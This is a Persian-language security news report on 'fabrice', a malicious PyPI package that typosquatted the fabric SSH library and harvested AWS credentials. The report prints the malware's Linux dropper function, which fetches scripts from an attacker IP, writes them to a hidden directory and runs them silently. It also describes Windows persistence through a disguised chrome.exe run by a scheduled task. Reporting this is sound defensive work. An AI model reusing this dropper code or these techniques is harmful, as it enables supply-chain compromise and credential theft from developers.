تیم تحقیقاتی Socket یک پکیج مخرب پایتون به نام ” fabrice ” را کشف کرده است که یک نوعِ typosquat (تایپسکوات) شده از کتابخانه محبوب اتوماسیون fabric SSH است.
Fabric یک کتابخانه سطح بالای پایتون است که برای اجرای دستورات shell از راه دور بر روی SSH طراحی شده است. Typosquatting نیز نوعی حمله مهندسی اجتماعی است که به اشتباهاتی مانند اشتباهات تایپی توسط کاربران اینترنت هنگام وارد کردن آدرس وب سایت در مرورگر وب متکی است.
کاربری که به طور تصادفی یک آدرس وب سایت نادرست را وارد میکند ممکن است به هر URL، از جمله یک وب سایت جایگزین، متعلق به یک مهاجم سایبری هدایت شود.
Typosquatting که با نامهای URL hijacking، sting site، cousin domain و fake URL نیز شناخته میشود، معمولاً شامل فریب دادن کاربران برای بازدید از وب سایتهای مخرب با URLهایی است که غلط املایی رایج در آدرسURL خود دارند.
اخیرا نیز یک حملهtyposquatting ، توسعه دهندگان npm را با صدها نسخه تایپسکوات شده از نمونههای قانونی مورد هدف قرار داده است تا آنها را فریب دهد، بدافزارهای چند پلتفرمی را دانلود و بر روی سیستم خود اجرا کنند.
تیم تحقیقاتی Socket اکنون در حال بررسی یک پکیج تایپسکوات شده دیگر است که از سال 2021 در PyPI فعال بوده و بصورت مخفیانه بیش از 37000 داده لاگین AWS را جمعآوری کرده است.
در حالی که پکیج قانونی بیش از 202 میلیون دانلود دارد، نسخه مخرب آن که در مارس 2021 منتشر شده است، بیش از 37100 بار دانلود شده است.
پکیج تایپسکوات شده fabric (یعنی Fabrice) دارای پیلودهایی است که دادههای لاگین را ربوده و بکدورهایی را مستقر و اسکریپتهای خاص هر پلتفرم را اجرا میکند.
پکیج Fabrice طوری طراحی شده است که اقدامات مخرب خود را بر اساس سیستم عاملی که روی آن نصب شده است انجام میدهد. این پکیج در ماشینهای لینوکس، از تابع linuxThread() برای دانلود، رمزگشایی و اجرای چهار اسکریپت shell مختلف از یک سرور خارجی (89.44.9[.]227) استفاده میکند.
این تابع دایرکتوریهای پنهان را هدف قرار میدهد و از تکنیکهای مبهم سازی برای سختتر کردن تشخیص و شناسایی استفاده میکند.
تابع linuxThread() در سیستمهای لینوکس:
def linuxThread():
try:
home = expanduser("~")
directory = home + "/.local/bin/vscode"
fileE = home + "/.local/bin/vscode" + "/per.sh"
if not os.path.exists(directory):
os.makedirs(directory)
# Download content from external server
a4 = "ht" + "tp" + ":" + "//" + "89.44.9.227" + "/likjfieksce"
response = requests.get(a4)
text = response.text
# Split the response data into multiple files
dataList, finalList = [], []
for line in text.splitlines():
if "SPLITT" in line:
finalList.append(dataList)
dataList = []
else:
if "directory" in line:
line = line.replace("{directory}", directory)
dataList.append(line)
# Create and write to shell script files
with open(directory + "/service.sh", "w") as fp:
for line in finalList[0]:
fp.write(line + "\n")
with open(directory + "/app.py", "w") as fp:
for line in finalList[1]:
fp.write(line + "\n")
with open(directory + "/info.py", "w") as fp:
for line in finalList[2]:
fp.write(line + "\n")
with open(directory + "/per.sh", "w") as fp:
for line in finalList[3]:
fp.write(line + "\n")
# Set execute permissions and run the script
os.chmod(fileE, 0o755)
subprocess.check_call(fileE, stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT)
except Exception as e:
pass
Fabrice در سیستمهای ویندوز نیز دو پیلود مختلف، یک اسکریپت ویژوال بیسیک (p.vbs) و یک اسکریپت پایتون را اجرا میکند که اولی یک اسکریپت پایتون مخفی ” d.py” اجرا میکند که در پوشه Downloads ذخیره میشود.
این VBScript بهعنوان یک لانچر عمل کرده و به اسکریپت پایتون اجازه میدهد تا دستورات را اجرا کند و یا پیلودهای بیشتری را همانطور که توسط مهاجم طراحی شدهاند دریافت و اجرا نماید.
اسکریپت دیگر پایتون، برای دانلود یک فایل اجرایی مخرب از همان سرور راه دور مذکور، در نظر گرفته شده است. این اسکریپت به عنوان “chrome.exe” در پوشه Downloads، به منظور تنظیم تداوم دسترسی با استفاده از تسکهای زمان بندی شده برای اجرای باینری در هر 15 دقیقه و در نهایت حذف ” d.py” طراحی شده است.
به نظر میرسد هدف نهایی این پکیج تایپسکوات شده (fabrice )، صرف نظر از سیستم عامل، سرقت دادههای لاگین، جمع آوری دادههای دسترسی به AWS و کلیدهای مخفی با استفاده از کیت توسعه نرم افزار Boto3 AWS (SDK) برای پایتون و استخراج اطلاعات به سرور میباشد.
هکرها با جمعآوری کلیدهای AWS، به منابع ابری حساس بالقوه دسترسی پیدا میکنند. پکیجfabrice نشان دهنده یک حمله typosquatting پیچیده است که برای جعل هویت کتابخانه Fabric قابل اطمینان و سوء استفاده از توسعه دهندگان و دسترسی غیرمجاز به دادههای حساس در سیستمهای لینوکس و ویندوز ساخته شده است. پکیجfabrice دیگر برای دانلود از مخزن PyPI در دسترس نیست و حذف شده است.